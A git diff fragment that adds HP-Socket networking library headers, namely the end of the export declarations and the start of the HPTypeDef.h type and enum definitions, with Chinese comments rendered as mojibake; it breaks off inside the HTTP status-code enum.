lpszDomain, LPCSTR lpszPath, int iMaxAge /*= -1*/, BOOL bHttpOnly /*= FALSE*/, BOOL bSecure /*= FALSE*/, int enSameSite /*= 0*/); +/* 鑾峰彇褰撳墠 UTC 鏃堕棿 */ +HPSOCKET_API __time64_t HP_HttpCookie_HLP_CurrentUTCTime(); +/* Max-Age -> expires */ +HPSOCKET_API __time64_t HP_HttpCookie_HLP_MaxAgeToExpires(int iMaxAge); +/* expires -> Max-Age */ +HPSOCKET_API int HP_HttpCookie_HLP_ExpiresToMaxAge(__time64_t tmExpires); + +/*****************************************************************************************************************************************************/ +/************************************************************* HTTP Global Function Exports **********************************************************/ +/*****************************************************************************************************************************************************/ + +#endif + +/*****************************************************************************************************************************************************/ +/**************************************************************** Thread Pool Exports ****************************************************************/ +/*****************************************************************************************************************************************************/ + +// 鍒涘缓 IHPThreadPool 瀵硅薄 +HPSOCKET_API IHPThreadPool* HP_Create_ThreadPool(IHPThreadPoolListener* pListener = nullptr); +// 閿姣 IHPThreadPool 瀵硅薄 +HPSOCKET_API void HP_Destroy_ThreadPool(IHPThreadPool* pThreadPool); + +/* +* 鍚嶇О锛氬垱寤 TSocketTask 瀵硅薄 +* 鎻忚堪锛氬垱寤轰换鍔″璞★紝璇ュ璞℃渶缁堥渶鐢 HP_Destroy_SocketTaskObj() 閿姣 +* +* 鍙傛暟锛 fnTaskProc -- 浠诲姟澶勭悊鍑芥暟 +* pSender -- 鍙戣捣瀵硅薄 +* dwConnID -- 杩炴帴 ID +* pBuffer -- 鏁版嵁缂撳啿鍖 +* iBuffLen -- 鏁版嵁缂撳啿鍖洪暱搴 +* enBuffType -- 鏁版嵁缂撳啿鍖虹被鍨嬶紙榛樿锛歍BT_COPY锛 +* TBT_COPY 锛氾紙娣辨嫹璐濓級pBuffer 澶嶅埗鍒 TSocketTask 瀵硅薄銆傛鍚 TSocketTask 瀵硅薄涓 pBuffer 涓嶅啀鏈変换浣曞叧鑱 +* -> 閫傜敤浜 pBuffer 涓嶅ぇ鎴 pBuffer 鐢熷懡鍛ㄦ湡涓嶅彈鎺х殑鍦烘櫙 +* TBT_REFER 锛氾紙娴呮嫹璐濓級pBuffer 涓嶅鍒跺埌 TSocketTask 瀵硅薄锛岄渶纭繚 TSocketTask 瀵硅薄鐢熷懡鍛ㄦ湡鍐 pBuffer 蹇呴』鏈夋晥 +* -> 閫傜敤浜 pBuffer 杈冨ぇ鎴 pBuffer 鍙噸鐢紝骞朵笖 pBuffer 鐢熷懡鍛ㄦ湡鍙楁帶鐨勫満鏅 +* TBT_ATTACH 锛氾紙闄勫睘锛夋墽琛屾祬鎷疯礉锛屼絾 TSocketTask 瀵硅薄浼氳幏寰 pBuffer 鐨勬墍鏈夋潈锛屽苟璐熻矗閲婃斁 pBuffer锛岄伩鍏嶅娆$紦鍐插尯鎷疯礉 +* -> 娉ㄦ剰锛歱Buffer 蹇呴』鐢 SYS_Malloc()/SYS_Calloc() 鍑芥暟鍒嗛厤鎵嶈兘浣跨敤鏈被鍨嬶紝鍚﹀垯鍙兘浼氬彂鐢熷唴瀛樿闂敊璇 +* wParam -- 鑷畾涔夊弬鏁 +* lParam -- 鑷畾涔夊弬鏁 +* 杩斿洖鍊硷細 LPTSocketTask +*/ +HPSOCKET_API LPTSocketTask HP_Create_SocketTaskObj(Fn_SocketTaskProc fnTaskProc, PVOID pSender, CONNID dwConnID, LPCBYTE pBuffer, INT iBuffLen, EnTaskBufferType enBuffType = TBT_COPY, WPARAM wParam = 0, LPARAM lParam = 0); + +// 閿姣 TSocketTask 瀵硅薄 +HPSOCKET_API void HP_Destroy_SocketTaskObj(LPTSocketTask pTask); + +// IHPThreadPool 瀵硅薄鍒涘缓鍣 +struct HPThreadPool_Creator +{ + static IHPThreadPool* Create(IHPThreadPoolListener* pListener = nullptr) + { + return HP_Create_ThreadPool(pListener); + } + + static void Destroy(IHPThreadPool* pThreadPool) + { + HP_Destroy_ThreadPool(pThreadPool); + } +}; + +// IHPThreadPool 瀵硅薄鏅鸿兘鎸囬拡 +typedef CHPObjectPtr CHPThreadPoolPtr; + +/*****************************************************************************************************************************************************/ +/********************************************************* Compressor / Decompressor Exports *********************************************************/ +/*****************************************************************************************************************************************************/ + +/* 閿姣佸帇缂╁櫒瀵硅薄 */ +HPSOCKET_API void HP_Destroy_Compressor(IHPCompressor* pCompressor); +/* 閿姣佽В鍘嬪櫒瀵硅薄 */ +HPSOCKET_API void HP_Destroy_Decompressor(IHPDecompressor* pDecompressor); + +#ifdef _ZLIB_SUPPORT + +/* 鍒涘缓 ZLib 鍘嬬缉鍣ㄥ璞 */ +HPSOCKET_API IHPCompressor* HP_Create_ZLibCompressor(Fn_CompressDataCallback fnCallback, int iWindowBits = 15, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024); +/* 鍒涘缓 GZip 鍘嬬缉鍣ㄥ璞 */ +HPSOCKET_API IHPCompressor* HP_Create_GZipCompressor(Fn_CompressDataCallback fnCallback, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024); +/* 鍒涘缓 ZLib 瑙e帇鍣ㄥ璞 */ +HPSOCKET_API IHPDecompressor* HP_Create_ZLibDecompressor(Fn_DecompressDataCallback fnCallback, int iWindowBits = 15, DWORD dwBuffSize = 16 * 1024); +/* 鍒涘缓 GZip 瑙e帇鍣ㄥ璞 */ +HPSOCKET_API IHPDecompressor* HP_Create_GZipDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024); + +#endif + +#ifdef _BROTLI_SUPPORT + +/* 鍒涘缓 Brotli 鍘嬬缉鍣ㄥ璞 */ +HPSOCKET_API IHPCompressor* HP_Create_BrotliCompressor(Fn_CompressDataCallback fnCallback, int iQuality = 11, int iWindow = 22, int iMode = 0, DWORD dwBuffSize = 16 * 1024); +/* 鍒涘缓 Brotli 瑙e帇鍣ㄥ璞 */ +HPSOCKET_API IHPDecompressor* HP_Create_BrotliDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024); + +#endif diff --git a/server/2015Remote/proxy/HPTypeDef.h b/server/2015Remote/proxy/HPTypeDef.h new file mode 100644 index 0000000..58e4886 --- /dev/null +++ b/server/2015Remote/proxy/HPTypeDef.h @@ -0,0 +1,594 @@ +锘/* + * Copyright: JessMA Open Source (ldcsaa@gmail.com) + * + * Author : Bruce Liang + * Website : https://github.com/ldcsaa + * Project : https://github.com/ldcsaa/HP-Socket + * Blog : http://www.cnblogs.com/ldcsaa + * Wiki : http://www.oschina.net/p/hp-socket + * QQ Group : 44636872, 75375912 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +/* HP-Socket 鐗堟湰鍙 */ +#define HP_VERSION_MAJOR 6 // 涓荤増鏈彿 +#define HP_VERSION_MINOR 0 // 瀛愮増鏈彿 +#define HP_VERSION_REVISE 3 // 淇鐗堟湰鍙 +#define HP_VERSION_BUILD 1 // 鏋勫缓缂栧彿 + +//#define _UDP_DISABLED // 绂佺敤 UDP +//#define _SSL_DISABLED // 绂佺敤 SSL +//#define _HTTP_DISABLED // 绂佺敤 HTTP +//#define _ZLIB_DISABLED // 绂佺敤 ZLIB +//#define _BROTLI_DISABLED // 绂佺敤 BROTLI + +/* 鏄惁鍚敤 UDP锛屽鏋滃畾涔変簡 _UDP_DISABLED 鍒欑鐢紙榛樿锛氬惎鐢級 */ +#if !defined(_UDP_DISABLED) + #ifndef _UDP_SUPPORT + #define _UDP_SUPPORT + #endif +#endif + +/* 鏄惁鍚敤 SSL锛屽鏋滃畾涔変簡 _SSL_DISABLED 鍒欑鐢紙榛樿锛氬惎鐢級 */ +#if !defined(_SSL_DISABLED) + #ifndef _SSL_SUPPORT + #define _SSL_SUPPORT + #endif +#endif + +/* 鏄惁鍚敤 HTTP锛屽鏋滃畾涔変簡 _HTTP_DISABLED 鍒欑鐢紙榛樿锛氬惎鐢級 */ +#if !defined(_HTTP_DISABLED) + #ifndef _HTTP_SUPPORT + #define _HTTP_SUPPORT + #endif +#endif + +/* 鏄惁鍚敤 ZLIB锛屽鏋滃畾涔変簡 _ZLIB_DISABLED 鍒欑鐢紙榛樿锛氬惎鐢級 */ +#if !defined(_ZLIB_DISABLED) + #ifndef _ZLIB_SUPPORT + #define _ZLIB_SUPPORT + #endif +#endif + +/* 鏄惁鍚敤 BROTLI锛屽鏋滃畾涔変簡 _BROTLI_DISABLED 鍒欑鐢紙榛樿锛氬惎鐢級 */ +#if !defined(_BROTLI_DISABLED) + #ifndef _BROTLI_SUPPORT + #define _BROTLI_SUPPORT + #endif +#endif + +/**************************************************/ +/********** imports / exports HPSocket4C **********/ + +#ifdef HPSOCKET_STATIC_LIB + #define HPSOCKET_API EXTERN_C +#else + #ifdef HPSOCKET_EXPORTS + #define HPSOCKET_API EXTERN_C __declspec(dllexport) + #else + #define HPSOCKET_API EXTERN_C __declspec(dllimport) + #endif +#endif + +#define __HP_CALL __stdcall + +/*****************************************************************************************************************************************************/ +/**************************************************************** Base Type Definitions **************************************************************/ +/*****************************************************************************************************************************************************/ + +typedef const BYTE* LPCBYTE, PCBYTE; +typedef ULONG_PTR TID, THR_ID, NTHR_ID, PID, PRO_ID; + +/************************************************************************ +鍚嶇О锛氳繛鎺 ID 鏁版嵁绫诲瀷 +鎻忚堪锛氬簲鐢ㄧ▼搴忓彲浠ユ妸 CONNID 瀹氫箟涓鸿嚜韬渶瑕佺殑绫诲瀷锛堝锛歎LONG / ULONGLONG锛 +************************************************************************/ +typedef ULONG_PTR CONNID, HP_CONNID; + +/************************************************************************ +鍚嶇О锛氶氫俊缁勪欢鏈嶅姟鐘舵 +鎻忚堪锛氬簲鐢ㄧ▼搴忓彲浠ラ氳繃閫氫俊缁勪欢鐨 GetState() 鏂规硶鑾峰彇缁勪欢褰撳墠鏈嶅姟鐘舵 +************************************************************************/ +typedef enum EnServiceState +{ + SS_STARTING = 0, // 姝e湪鍚姩 + SS_STARTED = 1, // 宸茬粡鍚姩 + SS_STOPPING = 2, // 姝e湪鍋滄 + SS_STOPPED = 3, // 宸茬粡鍋滄 +} En_HP_ServiceState; + +/************************************************************************ +鍚嶇О锛歋ocket 鎿嶄綔绫诲瀷 +鎻忚堪锛氬簲鐢ㄧ▼搴忕殑 OnClose() 浜嬩欢涓氳繃璇ュ弬鏁版爣璇嗘槸鍝鎿嶄綔瀵艰嚧鐨勯敊璇 +************************************************************************/ +typedef enum EnSocketOperation +{ + SO_UNKNOWN = 0, // Unknown + SO_ACCEPT = 1, // Acccept + SO_CONNECT = 2, // Connect + SO_SEND = 3, // Send + SO_RECEIVE = 4, // Receive + SO_CLOSE = 5, // Close +} En_HP_SocketOperation; + +/************************************************************************ +鍚嶇О锛氫簨浠跺鐞嗙粨鏋 +鎻忚堪锛氫簨浠剁殑杩斿洖鍊硷紝涓嶅悓鐨勮繑鍥炲间細褰卞搷閫氫俊缁勪欢鐨勫悗缁涓 +************************************************************************/ +typedef enum EnHandleResult +{ + HR_OK = 0, // 鎴愬姛 + HR_IGNORE = 1, // 蹇界暐 + HR_ERROR = 2, // 閿欒 +} En_HP_HandleResult; + +/************************************************************************ +鍚嶇О锛氭暟鎹姄鍙栫粨鏋 +鎻忚堪锛氭暟鎹姄鍙栨搷浣滅殑杩斿洖鍊 +************************************************************************/ +typedef enum EnFetchResult +{ + FR_OK = 0, // 鎴愬姛 + FR_LENGTH_TOO_LONG = 1, // 鎶撳彇闀垮害杩囧ぇ + FR_DATA_NOT_FOUND = 2, // 鎵句笉鍒 ConnID 瀵瑰簲鐨勬暟鎹 +} En_HP_FetchResult; + +/************************************************************************ +鍚嶇О锛氭暟鎹彂閫佺瓥鐣 +鎻忚堪锛歋erver 缁勪欢鍜 Agent 缁勪欢鐨勬暟鎹彂閫佺瓥鐣 + +* 鎵撳寘鍙戦佺瓥鐣ワ紙榛樿锛 锛氬敖閲忔妸澶氫釜鍙戦佹搷浣滅殑鏁版嵁缁勫悎鍦ㄤ竴璧峰彂閫侊紝澧炲姞浼犺緭鏁堢巼 +* 瀹夊叏鍙戦佺瓥鐣 锛氬敖閲忔妸澶氫釜鍙戦佹搷浣滅殑鏁版嵁缁勫悎鍦ㄤ竴璧峰彂閫侊紝骞舵帶鍒朵紶杈撻熷害锛岄伩鍏嶇紦鍐插尯婧㈠嚭 +* 鐩存帴鍙戦佺瓥鐣 锛氬姣忎竴涓彂閫佹搷浣滈兘鐩存帴鎶曢掞紝閫傜敤浜庤礋杞戒笉楂樹絾瑕佹眰瀹炴椂鎬ц緝楂樼殑鍦哄悎 +************************************************************************/ +typedef enum EnSendPolicy +{ + SP_PACK = 0, // 鎵撳寘妯″紡锛堥粯璁わ級 + SP_SAFE = 1, // 瀹夊叏妯″紡 + SP_DIRECT = 2, // 鐩存帴妯″紡 +} En_HP_SendPolicy; + +/************************************************************************ +鍚嶇О锛歄nSend 浜嬩欢鍚屾绛栫暐 +鎻忚堪锛歋erver 缁勪欢鍜 Agent 缁勪欢鐨 OnSend 浜嬩欢鍚屾绛栫暐 + +* 涓嶅悓姝ワ紙榛樿锛 锛氫笉鍚屾 OnSend 浜嬩欢锛屽彲鑳藉悓鏃惰Е鍙 OnReceive 鍜 OnClose 浜嬩欢 +* 鍚屾 OnClose 锛氬彧鍚屾 OnClose 浜嬩欢锛屽彲鑳藉悓鏃惰Е鍙 OnReceive 浜嬩欢 +* 鍚屾 OnReceive 锛氾紙鍙敤浜 TCP 缁勪欢锛夊悓姝 OnReceive 鍜 OnClose 浜嬩欢锛屼笉鍙兘鍚屾椂瑙﹀彂 OnReceive 鎴 OnClose 浜嬩欢 +************************************************************************/ +typedef enum EnOnSendSyncPolicy +{ + OSSP_NONE = 0, // 涓嶅悓姝ワ紙榛樿锛 + OSSP_CLOSE = 1, // 鍚屾 OnClose + OSSP_RECEIVE = 2, // 鍚屾 OnReceive锛堝彧鐢ㄤ簬 TCP 缁勪欢锛 +} En_HP_OnSendSyncPolicy; + +/************************************************************************ +鍚嶇О锛氬湴鍧閲嶇敤閫夐」 +鎻忚堪锛氶氫俊缁勪欢搴曞眰 socket 鐨勫湴鍧閲嶇敤閫夐」 +************************************************************************/ +typedef enum EnReuseAddressPolicy +{ + RAP_NONE = 0, // 涓嶉噸鐢 + RAP_ADDR_ONLY = 1, // 浠呴噸鐢ㄥ湴鍧 + RAP_ADDR_AND_PORT = 2, // 閲嶇敤鍦板潃鍜岀鍙 +} En_HP_ReuseAddressPolicy; + +/************************************************************************ +鍚嶇О锛氭搷浣滅粨鏋滀唬鐮 +鎻忚堪锛氱粍浠 Start() / Stop() 鏂规硶鎵ц澶辫触鏃讹紝鍙氳繃 GetLastError() 鑾峰彇閿欒浠g爜 +************************************************************************/ +typedef enum EnSocketError +{ + SE_OK = NO_ERROR, // 鎴愬姛 + SE_ILLEGAL_STATE = 1, // 褰撳墠鐘舵佷笉鍏佽鎿嶄綔 + SE_INVALID_PARAM = 2, // 闈炴硶鍙傛暟 + SE_SOCKET_CREATE = 3, // 鍒涘缓 SOCKET 澶辫触 + SE_SOCKET_BIND = 4, // 缁戝畾 SOCKET 澶辫触 + SE_SOCKET_PREPARE = 5, // 璁剧疆 SOCKET 澶辫触 + SE_SOCKET_LISTEN = 6, // 鐩戝惉 SOCKET 澶辫触 + SE_CP_CREATE = 7, // 鍒涘缓瀹屾垚绔彛澶辫触 + SE_WORKER_THREAD_CREATE = 8, // 鍒涘缓宸ヤ綔绾跨▼澶辫触 + SE_DETECT_THREAD_CREATE = 9, // 鍒涘缓鐩戞祴绾跨▼澶辫触 + SE_SOCKE_ATTACH_TO_CP = 10, // 缁戝畾瀹屾垚绔彛澶辫触 + SE_CONNECT_SERVER = 11, // 杩炴帴鏈嶅姟鍣ㄥけ璐 + SE_NETWORK = 12, // 缃戠粶閿欒 + SE_DATA_PROC = 13, // 鏁版嵁澶勭悊閿欒 + SE_DATA_SEND = 14, // 鏁版嵁鍙戦佸け璐 + SE_GC_START = 15, // 鍨冨溇鍥炴敹鍚姩澶辫触 + + /***** SSL Socket 鎵╁睍鎿嶄綔缁撴灉浠g爜 *****/ + SE_SSL_ENV_NOT_READY = 101, // SSL 鐜鏈氨缁 +} En_HP_SocketError; + +/************************************************************************ +鍚嶇О锛氭挱閫佹ā寮 +鎻忚堪锛歎DP 缁勪欢鐨勬挱閫佹ā寮忥紙缁勬挱鎴栧箍鎾級 +************************************************************************/ +typedef enum EnCastMode +{ + CM_UNICAST = -1, // 鍗曟挱 + CM_MULTICAST = 0, // 缁勬挱 + CM_BROADCAST = 1, // 骞挎挱 +} En_HP_CastMode; + +/************************************************************************ +鍚嶇О锛欼P 鍦板潃绫诲瀷 +鎻忚堪锛欼P 鍦板潃绫诲瀷鏋氫妇鍊 +************************************************************************/ +typedef enum EnIPAddrType +{ + IPT_ALL = 0, // 鎵鏈 + IPT_IPV4 = 1, // IPv4 + IPT_IPV6 = 2, // IPv6 +} En_HP_IPAddrType; + +/************************************************************************ +鍚嶇О锛欼P 鍦板潃鏉$洰缁撴瀯浣 +鎻忚堪锛欼P 鍦板潃鐨勫湴鍧绨/鍦板潃鍊肩粨鏋勪綋 +************************************************************************/ +typedef struct TIPAddr +{ + En_HP_IPAddrType type; + LPCTSTR address; +} *LPTIPAddr, HP_TIPAddr, *HP_LPTIPAddr; + +/************************************************************************ +鍚嶇О锛氭嫆缁濈瓥鐣 +鎻忚堪锛氳皟鐢ㄨ鎷掔粷鍚庣殑澶勭悊绛栫暐 +************************************************************************/ +typedef enum EnRejectedPolicy +{ + TRP_CALL_FAIL = 0, // 绔嬪埢杩斿洖澶辫触 + TRP_WAIT_FOR = 1, // 绛夊緟锛堢洿鍒版垚鍔熴佽秴鏃舵垨绾跨▼姹犲叧闂瓑鍘熷洜瀵艰嚧澶辫触锛 + TRP_CALLER_RUN = 2, // 璋冪敤鑰呯嚎绋嬬洿鎺ユ墽琛 +} En_HP_RejectedPolicy; + +/************************************************************************ +鍚嶇О锛氫换鍔$紦鍐插尯绫诲瀷 +鎻忚堪锛歍SockeTask 瀵硅薄鍒涘缓鍜岄攢姣佹椂锛屾牴鎹笉鍚岀被鍨嬬殑缂撳啿鍖虹被鍨嬩綔涓嶅悓鐨勫鐞 +************************************************************************/ +typedef enum EnTaskBufferType +{ + TBT_COPY = 0, // 娣辨嫹璐 + TBT_REFER = 1, // 娴呮嫹璐 + TBT_ATTACH = 2, // 闄勫睘锛堜笉璐熻矗鍒涘缓锛屼絾璐熻矗閿姣侊級 +} En_HP_TaskBufferType; + +/************************************************************************ +鍚嶇О锛氫换鍔″鐞嗗嚱鏁 +鎻忚堪锛氫换鍔″鐞嗗叆鍙e嚱鏁 +鍙傛暟锛歱vArg -- 鑷畾涔夊弬鏁 +杩斿洖鍊硷細锛堟棤锛 +************************************************************************/ +typedef VOID (__HP_CALL *Fn_TaskProc)(PVOID pvArg); +typedef Fn_TaskProc HP_Fn_TaskProc; + +struct TSocketTask; + +/************************************************************************ +鍚嶇О锛歋ocket 浠诲姟澶勭悊鍑芥暟 +鎻忚堪锛歋ocket 浠诲姟澶勭悊鍏ュ彛鍑芥暟 +鍙傛暟锛歱Task -- Socket 浠诲姟缁撴瀯浣撴寚閽 +杩斿洖鍊硷細锛堟棤锛 +************************************************************************/ +typedef VOID (__HP_CALL *Fn_SocketTaskProc)(struct TSocketTask* pTask); +typedef Fn_SocketTaskProc HP_Fn_SocketTaskProc; + +/************************************************************************ +鍚嶇О锛歋ocket 浠诲姟缁撴瀯浣 +鎻忚堪锛氬皝瑁 Socket 浠诲姟鐩稿叧鏁版嵁缁撴瀯 +************************************************************************/ +typedef struct TSocketTask +{ + HP_Fn_SocketTaskProc fn; // 浠诲姟澶勭悊鍑芥暟 + PVOID sender; // 鍙戣捣瀵硅薄 + CONNID connID; // 杩炴帴 ID + LPCBYTE buf; // 鏁版嵁缂撳啿鍖 + INT bufLen; // 鏁版嵁缂撳啿鍖洪暱搴 + En_HP_TaskBufferType bufType; // 缂撳啿鍖虹被鍨 + WPARAM wparam; // 鑷畾涔夊弬鏁 + LPARAM lparam; // 鑷畾涔夊弬鏁 +} *LPTSocketTask, HP_TSocketTask, *HP_LPTSocketTask; + +/************************************************************************ +鍚嶇О锛氳幏鍙 HPSocket 鐗堟湰鍙 +鎻忚堪锛氱増鏈彿锛4 涓瓧鑺傚垎鍒负锛氫富鐗堟湰鍙凤紝瀛愮増鏈彿锛屼慨姝g増鏈彿锛屾瀯寤虹紪鍙凤級 +************************************************************************/ +inline DWORD GetHPSocketVersion() +{ + return (HP_VERSION_MAJOR << 24) | (HP_VERSION_MINOR << 16) | (HP_VERSION_REVISE << 8) | HP_VERSION_BUILD; +} + +/*****************************************************************************************************************************************************/ +/**************************************************************** SSL Type Definitions ***************************************************************/ +/*****************************************************************************************************************************************************/ + +#ifdef _SSL_SUPPORT + +/************************************************************************ +鍚嶇О锛歋SL 宸ヤ綔妯″紡 +鎻忚堪锛氭爣璇 SSL 鐨勫伐浣滄ā寮忥紝瀹㈡埛绔ā寮忔垨鏈嶅姟绔ā寮 +************************************************************************/ +typedef enum EnSSLSessionMode +{ + SSL_SM_CLIENT = 0, // 瀹㈡埛绔ā寮 + SSL_SM_SERVER = 1, // 鏈嶅姟绔ā寮 +} En_HP_SSLSessionMode; + +/************************************************************************ +鍚嶇О锛歋SL 楠岃瘉妯″紡 +鎻忚堪锛歋SL 楠岃瘉妯″紡閫夐」锛孲SL_VM_PEER 鍙互鍜屽悗闈袱涓夐」缁勫悎涓璧 +************************************************************************/ +typedef enum EnSSLVerifyMode +{ + SSL_VM_NONE = 0x00, // SSL_VERIFY_NONE + SSL_VM_PEER = 0x01, // SSL_VERIFY_PEER + SSL_VM_FAIL_IF_NO_PEER_CERT = 0x02, // SSL_VERIFY_FAIL_IF_NO_PEER_CERT + SSL_VM_CLIENT_ONCE = 0x04, // SSL_VERIFY_CLIENT_ONCE +} En_HP_SSLVerifyMode; + +/************************************************************************ +鍚嶇О锛歋SL Session 淇℃伅绫诲瀷 +鎻忚堪锛氱敤浜 GetSSLSessionInfo()锛屾爣璇嗚緭鍑虹殑 Session 淇℃伅绫诲瀷 +************************************************************************/ +typedef enum EnSSLSessionInfo +{ + SSL_SSI_MIN = 0, // + SSL_SSI_CTX = 0, // SSL CTX 锛堣緭鍑虹被鍨嬶細SSL_CTX*锛 + SSL_SSI_CTX_METHOD = 1, // SSL CTX Mehtod 锛堣緭鍑虹被鍨嬶細SSL_METHOD*锛 + SSL_SSI_CTX_CIPHERS = 2, // SSL CTX Ciphers 锛堣緭鍑虹被鍨嬶細STACK_OF(SSL_CIPHER)*锛 + SSL_SSI_CTX_CERT_STORE = 3, // SSL CTX Cert Store 锛堣緭鍑虹被鍨嬶細X509_STORE*锛 + SSL_SSI_SERVER_NAME_TYPE = 4, // Server Name Type 锛堣緭鍑虹被鍨嬶細int锛 + SSL_SSI_SERVER_NAME = 5, // Server Name 锛堣緭鍑虹被鍨嬶細LPCSTR锛 + SSL_SSI_VERSION = 6, // SSL Version 锛堣緭鍑虹被鍨嬶細LPCSTR锛 + SSL_SSI_METHOD = 7, // SSL Method 锛堣緭鍑虹被鍨嬶細SSL_METHOD*锛 + SSL_SSI_CERT = 8, // SSL Cert 锛堣緭鍑虹被鍨嬶細X509*锛 + SSL_SSI_PKEY = 9, // SSL Private Key 锛堣緭鍑虹被鍨嬶細EVP_PKEY*锛 + SSL_SSI_CURRENT_CIPHER = 10, // SSL Current Cipher 锛堣緭鍑虹被鍨嬶細SSL_CIPHER*锛 + SSL_SSI_CIPHERS = 11, // SSL Available Ciphers锛堣緭鍑虹被鍨嬶細STACK_OF(SSL_CIPHER)*锛 + SSL_SSI_CLIENT_CIPHERS = 12, // SSL Client Ciphers 锛堣緭鍑虹被鍨嬶細STACK_OF(SSL_CIPHER)*锛 + SSL_SSI_PEER_CERT = 13, // SSL Peer Cert 锛堣緭鍑虹被鍨嬶細X509*锛 + SSL_SSI_PEER_CERT_CHAIN = 14, // SSL Peer Cert Chain 锛堣緭鍑虹被鍨嬶細STACK_OF(X509)*锛 + SSL_SSI_VERIFIED_CHAIN = 15, // SSL Verified Chain 锛堣緭鍑虹被鍨嬶細STACK_OF(X509)*锛 + SSL_SSI_MAX = 15, // +} En_HP_SSLSessionInfo; + +/************************************************************************ +鍚嶇О锛歋NI 鏈嶅姟鍚嶇О鍥炶皟鍑芥暟 +鎻忚堪锛氭牴鎹湇鍔″櫒鍚嶇О閫夋嫨 SSL 璇佷功 +鍙傛暟锛 + lpszServerName -- 鏈嶅姟鍣ㄥ悕绉帮紙鍩熷悕锛 + +杩斿洖鍊硷細 + 0 -- 鎴愬姛锛屼娇鐢ㄩ粯璁 SSL 璇佷功绱㈠紩 + 姝f暟 -- 鎴愬姛锛屼娇鐢ㄨ繑鍥炲煎搴旂殑 SNI 涓绘満璇佷功绱㈠紩 + 璐熸暟 -- 澶辫触锛屼腑鏂 SSL 鎻℃墜 + +************************************************************************/ +typedef int (__HP_CALL *Fn_SNI_ServerNameCallback)(LPCTSTR lpszServerName, PVOID pContext); +typedef Fn_SNI_ServerNameCallback HP_Fn_SNI_ServerNameCallback; + +#endif + +/*****************************************************************************************************************************************************/ +/**************************************************************** HTTP Type Definitions **************************************************************/ +/*****************************************************************************************************************************************************/ + +#ifdef _HTTP_SUPPORT + +/************************************************************************ +鍚嶇О锛欻TTP 鐗堟湰 +鎻忚堪锛氫綆瀛楄妭锛氫富鐗堟湰鍙凤紝楂樺瓧鑺傦細娆$増鏈彿 +************************************************************************/ + +typedef enum EnHttpVersion +{ + HV_1_0 = MAKEWORD(1, 0), // HTTP/1.0 + HV_1_1 = MAKEWORD(1, 1) // HTTP/1.1 +} En_HP_HttpVersion; + +/************************************************************************ +鍚嶇О锛歎RL 鍩 +鎻忚堪锛欻TTP 璇锋眰琛屼腑 URL 娈典綅鐨勫煙瀹氫箟 +************************************************************************/ +typedef enum EnHttpUrlField +{ + HUF_SCHEMA = 0, // Schema + HUF_HOST = 1, // Host + HUF_PORT = 2, // Port + HUF_PATH = 3, // Path + HUF_QUERY = 4, // Query String + HUF_FRAGMENT = 5, // Fragment + HUF_USERINFO = 6, // User Info + HUF_MAX = 7, // (Field Count) +} En_HP_HttpUrlField; + +/************************************************************************ +鍚嶇О锛欻TTP 瑙f瀽缁撴灉鏍囪瘑 +鎻忚堪锛氭寚绀 HTTP 瑙f瀽鍣ㄦ槸鍚︾户缁墽琛岃В鏋愭搷浣 +************************************************************************/ +typedef enum EnHttpParseResult +{ + HPR_OK = 0, // 瑙f瀽鎴愬姛 + HPR_SKIP_BODY = 1, // 璺宠繃褰撳墠璇锋眰 BODY锛堜粎鐢ㄤ簬 OnHeadersComplete 浜嬩欢锛 + HPR_UPGRADE = 2, // 鍗囩骇鍗忚锛堜粎鐢ㄤ簬 OnHeadersComplete 浜嬩欢锛 + HPR_ERROR = -1, // 瑙f瀽閿欒锛岀粓姝㈣В鏋愶紝鏂紑杩炴帴 +} En_HP_HttpParseResult; + +/************************************************************************ +鍚嶇О锛欻TTP 鍗忚鍗囩骇绫诲瀷 +鎻忚堪锛氭爣璇 HTTP 鍗囩骇涓哄摢绉嶅崗璁 +************************************************************************/ +typedef enum EnHttpUpgradeType +{ + HUT_NONE = 0, // 娌℃湁鍗囩骇 + HUT_WEB_SOCKET = 1, // WebSocket + HUT_HTTP_TUNNEL = 2, // HTTP 闅ч亾 + HUT_UNKNOWN = -1, // 鏈煡绫诲瀷 +} En_HP_HttpUpgradeType; + +/************************************************************************ +鍚嶇О锛欻TTP 鐘舵佺爜 +鎻忚堪锛欻TTP 鏍囧噯鐘舵佺爜 +************************************************************************/ +typedef enum EnHttpStatusCode +{ + HSC_CONTINUE = 100, + HSC_SWITCHING_PROTOCOLS = 101, + HSC_PROCESSING = 102, + HSC_EARLY_HINTS = 103, + HSC_RESPONSE_IS_STALE = 110, + HSC_REVALIDATION_FAILED = 111, + HSC_DISCONNECTED_OPERATION = 112, + HSC_HEURISTIC_EXPIRATION = 113, + HSC_MISCELLANEOUS_WARNING = 199, + + HSC_OK = 200, + HSC_CREATED = 201, + HSC_ACCEPTED = 202, + HSC_NON_AUTHORITATIVE_INFORMATION = 203, + HSC_NO_CONTENT = 204, + HSC_RESET_CONTENT = 205, + HSC_PARTIAL_CONTENT = 206, + HSC_MULTI_STATUS = 207, + HSC_ALREADY_REPORTED = 208, + HSC_TRANSFORMATION_APPLIED = 214, + HSC_IM_USED = 226, + HSC_MISCELLANEOUS_PERSISTENT_WARNING = 299, + + HSC_MULTIPLE_CHOICES = 300, + HSC_MOVED_PERMANENTLY = 301, + HSC_MOVED_TEMPORARILY = 302, + HSC_SEE_OTHER = 303, + HSC_NOT_MODIFIED = 304, + HSC_USE_PROXY = 305, + HSC_SWITCH_PROXY = 306, + HSC_TEMPORARY_REDIRECT = 307, + HSC_PERMANENT_REDIRECT = 308, + + HSC_BAD_REQUEST = 400, + HSC_UNAUTHORIZED = 401, + HSC_PAYMENT_REQUIRED = 402, + HSC_FORBIDDEN = 403, + HSC_NOT_FOUND = 404, + HSC_METHOD_NOT_ALLOWED = 405, + HSC_NOT_ACCEPTABLE = 406, + HSC_PROXY_AUTHENTICATION_REQUIRED = 407, + HSC_REQUEST_TIMEOUT = 408, + 